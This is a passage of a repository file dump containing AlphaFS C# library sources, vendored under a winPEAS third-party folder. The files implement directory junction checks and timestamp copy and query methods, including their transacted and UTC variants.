specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the file.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path to test.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static bool ExistsJunctionTransacted(KernelTransaction transaction, string junctionPath, PathFormat pathFormat)\n      {\n         return ExistsJunctionCore(transaction, null, junctionPath, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.CopyTimestamps.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified directories.</summary>\n      /// <remarks>This method uses BackupSemantics flag to get Timestamp changed for directories.</remarks>\n      /// <param name=\"sourcePath\">The source directory to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination directory to set the date and time stamps.</param>\n      [Obsolete(\"Use new method name: CopyTimestamp\")]\n      [SecurityCritical]\n      public static void TransferTimestamps(string sourcePath, string destinationPath)\n      {\n         CopyTimestamps(sourcePath, destinationPath);\n      }\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified directories.</summary>\n      /// <remarks>This method uses BackupSemantics flag to get Timestamp changed for directories.</remarks>\n      /// <param name=\"sourcePath\">The source directory to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination directory to set the date and time stamps.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"Use new method name: CopyTimestamp\")]\n      [SecurityCritical]\n      public static void TransferTimestamps(string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         CopyTimestamps(sourcePath, destinationPath, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified directories.</summary>\n      /// <remarks>This method uses BackupSemantics flag to get Timestamp changed for directories.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination directory to set the date and time stamps.</param>\n      [Obsolete(\"Use new method name: CopyTimestampsTransacted\")]\n      [SecurityCritical]\n      public static void TransferTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath)\n      {\n         CopyTimestampsTransacted(transaction, sourcePath, destinationPath, PathFormat.RelativePath);\n      }\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified directories.</summary>\n      /// <remarks>This method uses BackupSemantics flag to get Timestamp changed for directories.</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination directory to set the date and time stamps.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"Use new method name: CopyTimestampsTransacted\")]\n      [SecurityCritical]\n      public static void TransferTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         CopyTimestampsTransacted(transaction, sourcePath, destinationPath, pathFormat);\n      }\n\n      #endregion // Obsolete\n\n\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing directories.</summary>\n      /// <remarks>This method uses BackupSemantics flag to get Timestamp changed for directories.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"sourcePath\">The source directory to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination directory to set the date and time stamps.</param>\n      [SecurityCritical]\n      public static void CopyTimestamps(string sourcePath, string destinationPath)\n      {\n         File.CopyTimestampsCore(null, true, sourcePath, destinationPath, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing directories.</summary>\n      /// <remarks>This method uses BackupSemantics flag to get Timestamp changed for directories.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"sourcePath\">The source directory to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination directory to set the date and time stamps.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CopyTimestamps(string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         File.CopyTimestampsCore(null, true, sourcePath, destinationPath, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing directories.</summary>\n      /// <remarks>This method uses BackupSemantics flag to get Timestamp changed for directories.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"sourcePath\">The source directory to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination directory to set the date and time stamps.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the directory linked to. No effect if <paramref name=\"destinationPath\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void CopyTimestamps(string sourcePath, string destinationPath, bool modifyReparsePoint)\n      {\n         File.CopyTimestampsCore(null, true, sourcePath, destinationPath, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing directories.</summary>\n      /// <remarks>This method uses BackupSemantics flag to get Timestamp changed for directories.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"sourcePath\">The source directory to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination directory to set the date and time stamps.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the directory linked to. No effect if <paramref name=\"destinationPath\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CopyTimestamps(string sourcePath, string destinationPath, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.CopyTimestampsCore(null, true, sourcePath, destinationPath, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.CopyTimestampsTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing directories.</summary>\n      /// <remarks>This method uses BackupSemantics flag to get Timestamp changed for directories.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination directory to set the date and time stamps.</param>\n      [SecurityCritical]\n      public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath)\n      {\n         File.CopyTimestampsCore(transaction, true, sourcePath, destinationPath, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing directories.</summary>\n      /// <remarks>This method uses BackupSemantics flag to get Timestamp changed for directories.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination directory to set the date and time stamps.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         File.CopyTimestampsCore(transaction, true, sourcePath, destinationPath, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing directories.</summary>\n      /// <remarks>This method uses BackupSemantics flag to get Timestamp changed for directories.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination directory to set the date and time stamps.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the directory linked to. No effect if <paramref name=\"destinationPath\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool modifyReparsePoint)\n      {\n         File.CopyTimestampsCore(transaction, true, sourcePath, destinationPath, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Copies the date and timestamps for the specified existing directories.</summary>\n      /// <remarks>This method uses BackupSemantics flag to get Timestamp changed for directories.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory to get the date and time stamps from.</param>\n      /// <param name=\"destinationPath\">The destination directory to set the date and time stamps.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the directory linked to. No effect if <paramref name=\"destinationPath\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CopyTimestampsTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.CopyTimestampsCore(transaction, true, sourcePath, destinationPath, modifyReparsePoint, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetChangeTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the change date and time of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified directory. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The directory for which to obtain creation date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTime(string path)\n      {\n         return File.GetChangeTimeCore(null, null, true, path, false, PathFormat.RelativePath);\n      }\n\n      /// <summary>[AlphaFS] Gets the change date and time of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified directory. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The directory for which to obtain creation date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTime(string path, PathFormat pathFormat)\n      {\n         return File.GetChangeTimeCore(null, null, true, path, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the change date and time of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified directory. This value is expressed in local time.</returns>\n      /// <param name=\"safeFileHandle\">An open handle to the directory from which to retrieve information.</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTime(SafeFileHandle safeFileHandle)\n      {\n         return File.GetChangeTimeCore(null, safeFileHandle, true, null, true, PathFormat.RelativePath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetChangeTimeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the change date and time of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified directory. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain creation date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTimeTransacted(KernelTransaction transaction, string path)\n      {\n         return File.GetChangeTimeCore(transaction, null, true, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the change date and time of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified directory. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain creation date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.GetChangeTimeCore(transaction, null, true, path, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetChangeTimeUtc.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified directory. This value is expressed in UTC time.</returns>\n      /// <param name=\"path\">The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format.</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTimeUtc(string path)\n      {\n         return File.GetChangeTimeCore(null, null, true, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified directory. This value is expressed in UTC time.</returns>\n      /// <param name=\"path\">The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTimeUtc(string path, PathFormat pathFormat)\n      {\n         return File.GetChangeTimeCore(null, null, true, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetChangeTimeUtcTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified directory. This value is expressed in UTC time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format.</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTimeUtcTransacted(KernelTransaction transaction, string path)\n      {\n         return File.GetChangeTimeCore(transaction, null, true, path, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the change date and time, in Coordinated Universal Time (UTC) format, of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the change date and time for the specified directory. This value is expressed in UTC time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file for which to obtain change date and time information, in Coordinated Universal Time (UTC) format.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetChangeTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.GetChangeTimeCore(transaction, null, true, path, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetCreationTime.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Gets the creation date and time of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified directory. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The directory for which to obtain creation date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTime(string path)\n      {\n         return File.GetCreationTimeCore(null, path, false, PathFormat.RelativePath).ToLocalTime();\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Gets the creation date and time of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified directory. This value is expressed in local time.</returns>\n      /// <param name=\"path\">The directory for which to obtain creation date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTime(string path, PathFormat pathFormat)\n      {\n         return File.GetCreationTimeCore(null, path, false, pathFormat).ToLocalTime();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetCreationTimeTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the creation date and time of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified directory. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain creation date and time information.</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTimeTransacted(KernelTransaction transaction, string path)\n      {\n         return File.GetCreationTimeCore(transaction, path, false, PathFormat.RelativePath).ToLocalTime();\n      }\n\n\n      /// <summary>[AlphaFS] Gets the creation date and time of the specified directory.</summary>\n      /// <returns>A <see cref=\"DateTime\"/> structure set to the creation date and time for the specified directory. This value is expressed in local time.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to obtain creation date and time information.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DateTime GetCreationTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.GetCreationTimeCore(transaction, path, false, pathFormat).ToLocalTime();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetCreationTimeUtc.cs",
